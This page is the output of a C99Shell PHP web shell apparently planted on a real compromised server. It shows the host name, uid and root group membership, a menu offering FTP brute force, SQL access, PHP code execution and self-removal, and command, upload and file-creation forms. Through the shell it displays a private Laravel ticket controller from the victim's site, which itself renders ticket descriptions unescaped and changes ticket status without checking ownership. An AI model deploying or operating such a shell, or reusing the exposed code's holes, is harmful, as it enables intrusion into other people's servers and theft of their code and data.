!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html_v1_1/app/Http/Controllers/Admin/   drwxr-xr-x
Free 28.6 GB of 117.98 GB (24.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TicketController.php (7.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Admin;

use 
App\Http\Controllers\Controller;
use 
App\Models\Customer;
use 
App\Models\Ticket;
use 
App\Models\TicketDescription;
use 
Illuminate\Http\Request;
use 
Response;

class 
TicketController extends Controller
{
    public function 
index()
    {

        return 
view('admin.ticket.index');
    }

    public function 
show()
    {
        
$customers auth()->user()->tickets()->select(['id''subject','customer_id','status']);
        return 
datatables()->of($customers)
            ->
addColumn('description', function ($q) {
                
$ticketDesc=TicketDescription::where('ticket_id'$q->id)->first();
                return 
"<div class='show-more' style='white-space: pre-wrap'>  $ticketDesc->description </div>";
            })
            ->
addColumn('customer_id', function ($q) {
                
$customer Customer::where('id'$q->customer_id)->first();
                
$name = isset($customer) && isset($customer->first_name) ? $customer->first_name '';
                return 
$name;
            })
            ->
addColumn('status', function ($q) {
                if (
$q->status=='pending'){
                    return 
'<button type="button" class="btn light btn-sm btn-default dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Pending
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to open this ticket?" data-action=' 
route('admin.ticket.status', ['id' => $q->id'status' => 'open']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Open
                                     </button>
                                     <button data-message="Are you sure, you want to processing this ticket?" data-action=' 
route('admin.ticket.status', ['id' => $q->id'status' => 'processing']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Processing
                                     </button>
                                </div>'
;
                }elseif(
$q->status=='open'){
                    return 
'<button type="button" class="btn light btn-sm btn-default dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Open
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to processing this ticket?" data-action=' 
route('admin.ticket.status', ['id' => $q->id'status' => 'processing']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Processing
                                     </button>
                                </div>'
;
                } elseif(
$q->status=='processing'){
                    return 
'<button type="button" class="btn light btn-sm btn-default dropdown-toggle" data-toggle="dropdown" aria-expanded="false">
                                                Processing
                               </button>
                                <div class="dropdown-menu" x-placement="bottom-start" style="position: absolute; will-change: transform; top: 0px; left: 0px; transform: translate3d(0px, 38px, 0px);">
                                     <button data-message="Are you sure, you want to solved this ticket?" data-action=' 
route('admin.ticket.status', ['id' => $q->id'status' => 'solved']) . '
                                        data-input={"_method":"post"} data-toggle="modal" data-target="#modal-confirm" class="dropdown-item">
                                                    Solved
                                     </button>
                                </div>'
;
                }else{
                    return 
$q->status;
                }

            })->
addColumn('action', function ($q) {
                if (
$q->status=='solved'){
                    return 
"<a class='btn btn-sm btn-info disabled' href='#'>Reply</a> &nbsp; &nbsp;";
                }else {
                    return 
"<a target='_blank' class='btn btn-sm btn-info' href='" route('admin.ticket.reply', ['id' => $q->id]) . "'>Reply</a> &nbsp; &nbsp;";
                }
            })->
rawColumns(['description','customer_id','status','action'])->toJson();
    }

    public function 
store(Request $request)
    {
        
$admin auth()->user();
        
$ticket Ticket::where('id'$request->id)->where('admin_id'$admin->id)->firstOrFail();
        
$customer Customer::where('id',$ticket->customer_id)->first();

        
$data['admin']=$admin auth()->user();
        
$ticket_description = new TicketDescription();

        if (
$request->hasFile('document')) {
            
$file $request->file('document');
            
$imageName time() . '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageName);
            
$ticket_description->document $imageName;
        }

        
$ticket_description->ticket_id $ticket->id;
        
$ticket_description->description $request->description;
        
$ticket_description->sender =$admin->admin_id;
        
$ticket_description->receiver $ticket->customer_id;
        
$ticket_description->sent_status 'admin';
        
$ticket_description->save();
        
/*    $template = EmailTemplate::where('type','ticket')->first();
            if ($template) {
                $template = str_replace('{customer_name}', $customer->first_name, $template->body);
                $template = str_replace('{message}', $request->description, $template->body);
                SendMail::dispatch($customer->email, $template->subject, $template);
            }*/

        
return redirect()->route('admin.ticket.reply', ['id' => $ticket->id]);
    }

    public function 
reply(Request $request)
    {
        
$customer auth('customer')->user();
       
$data['admin'] = auth()->user();
        
$data['ticket'] =$ticketTicket::where('id'$request->id)->firstOrFail();

        
$data['conversations'] = TicketDescription::where('ticket_id'$ticket->id)->orderBy('created_at','asc')->get();

        return 
view('admin.ticket.details'$data);
    }

    public function 
status(Request $request){

        
$ticket=Ticket::where('id',$request->id)->firstOrFail();
        
$ticket->status=$request->status;
        
$ticket->save();

        return 
redirect()->route('admin.ticket.index')->with('success'trans('admin.message.status_changes'));
    }

    public function 
documentDownload(Request $request)
    {
        
$ticketDescription TicketDescription::where('id',$request->id)->where('document',$request->file)->firstOrFail();
        
$filepath public_path('uploads/') . "$ticketDescription->document";

        return 
Response::download($filepath);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0037 ]--